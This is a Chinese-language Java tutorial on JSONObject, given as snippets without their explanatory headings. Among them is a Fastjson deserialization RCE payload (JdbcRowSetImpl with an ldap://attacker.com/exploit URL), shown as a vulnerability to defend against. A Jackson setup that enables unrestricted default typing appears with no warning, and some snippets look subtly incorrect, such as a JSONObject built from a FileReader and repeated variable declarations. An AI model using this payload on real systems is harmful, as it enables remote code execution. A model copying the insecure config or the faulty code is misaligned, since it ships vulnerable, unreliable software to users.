深度解析Java中的JSONObject从基础到高级应用

// 空对象创建
JSONObject obj = new JSONObject();
// 链式构造
JSONObject user = new JSONObject()
    .put("id", 1001)
    .put("name", "张三")
    .put("isAdmin", true);
// Map初始化
Map<String, Object> data = new HashMap<>();
data.put("email", "zhangsan@example.com");
JSONObject fromMap = new JSONObject(data);

// 安全取值（避免NullPointerException）
String name = user.optString("name", "未知");
// 类型转换
int id = user.getInt("id");
// 嵌套对象访问
JSONObject address = user.getJSONObject("address");
String city = address.getString("city");

// 键存在检查
if(user.has("mobile")) {
    // 处理手机号
}
// 删除字段
user.remove("isAdmin");
// 转标准JSON字符串
String jsonStr = user.toString();

Iterator<String> keys = user.keys();
while(keys.hasNext()) {
    String key = keys.next();
    Object value = user.get(key);
    System.out.println(key + ": " + value);
}

// Gson实现
Gson gson = new Gson();
User userObj = new User(1001, "张三");
JSONObject userJson = new JSONObject(gson.toJson(userObj));
// Jackson实现
ObjectMapper mapper = new ObjectMapper();
JSONObject userJson = mapper.convertValue(userObj, JSONObject.class);

// org.json实现
User user = new User();
user.setId(userJson.getInt("id"));
user.setName(userJson.getString("name"));
// Gson实现
User user = gson.fromJson(userJson.toString(), User.class);

// 日期格式化
Gson gson = new GsonBuilder()
    .setDateFormat("yyyy-MM-dd HH:mm:ss")
    .create();
// 泛型集合转换
List<User> users = gson.fromJson(
    jsonArray.toString(), 
    new TypeToken<List<User>>(){}.getType()
);

JSONObject order = new JSONObject();
order.put("orderNo", "20230815001");
// 嵌套对象
JSONObject customer = new JSONObject();
customer.put("name", "李四");
order.put("customer", customer);
// 嵌套数组
JSONArray products = new JSONArray();
products.put(new JSONObject().put("name", "iPhone").put("price", 6999));
products.put(new JSONObject().put("name", "AirPods").put("price", 1299));
order.put("products", products);

// Jayway JSONPath 实现
DocumentContext ctx = JsonPath.parse(order.toString());
Double totalPrice = ctx.read("$.products[*].price.sum()");
// 修改嵌套值
ctx.set("$.customer.name", "王五");

JsonFactory factory = new JsonFactory();
JsonParser parser = factory.createParser(jsonStr);
while(parser.nextToken() != null) {
    String field = parser.getCurrentName();
    if("price".equals(field)) {
        parser.nextToken();
        double price = parser.getDoubleValue();
        // 处理价格数据
    }
}
parser.close();

JSONObject obj = new JSONObject(20); // 初始容量20

// 错误：JSONObject不实现Serializable
// 正确：转换为字符串存储
String jsonStr = obj.toString();
// 循环引用导致栈溢出
obj.put("self", obj); // 禁止！

// 反序列化漏洞触发
String maliciousJson = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://attacker.com/exploit\",\"autoCommit\":true}";
JSON.parseObject(maliciousJson); // RCE攻击!

if(jsonStr.contains("@type")) {
    throw new SecurityException("危险数据类型!");
}

ObjectMapper mapper = new ObjectMapper();
mapper.enable(JsonParser.Feature.IGNORE_UNDEFINED);
mapper.disable(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES);
mapper.activateDefaultTyping(LaissezFaireSubTypeValidator.instance, 
    ObjectMapper.DefaultTyping.NON_FINAL);

JSONObject request = new JSONObject();
request.put("apiKey", API_KEY);
request.put("timestamp", System.currentTimeMillis());
JSONObject params = new JSONObject();
params.put("page", 1);
params.put("size", 20);
request.put("params", params);
// 生成签名
String sign = sign(request.toString());
request.put("sign", sign);

# config.json
{
  "database": {
    "url": "jdbc:mysql://localhost:3306/app",
    "user": "root"
  },
  "threadPool": {
    "coreSize": 10,
    "maxSize": 50
  }
}

JSONObject config = new JSONObject(new FileReader("config.json"));
String dbUrl = config.getJSONObject("database").getString("url");
int coreThreads = config.getJSONObject("threadPool").getInt("coreSize");

public JSONObject maskSensitive(JSONObject data) {
    JSONObject masked = new JSONObject(data.toString());
    if(masked.has("idCard")) {
        String idCard = masked.getString("idCard");
        masked.put("idCard", idCard.substring(0,3) + "********" + idCard.substring(14));
    }
    if(masked.has("mobile")) {
        String mobile = masked.getString("mobile");
        masked.put("mobile", mobile.substring(0,3) + "****" + mobile.substring(7));
    }
    return masked;
}

// 支持注释、单引号等特性
{
  name: '张三', // 用户姓名
  age: 28,
  tags: ['程序员', '摄影师'],
}

// 使用Everit实现
Schema schema = SchemaLoader.load(new JSONObject(
    "{\"type\":\"object\",\"properties\":{\"age\":{\"type\":\"integer\"}}}"
));
schema.validate(userJson); // 验证数据格式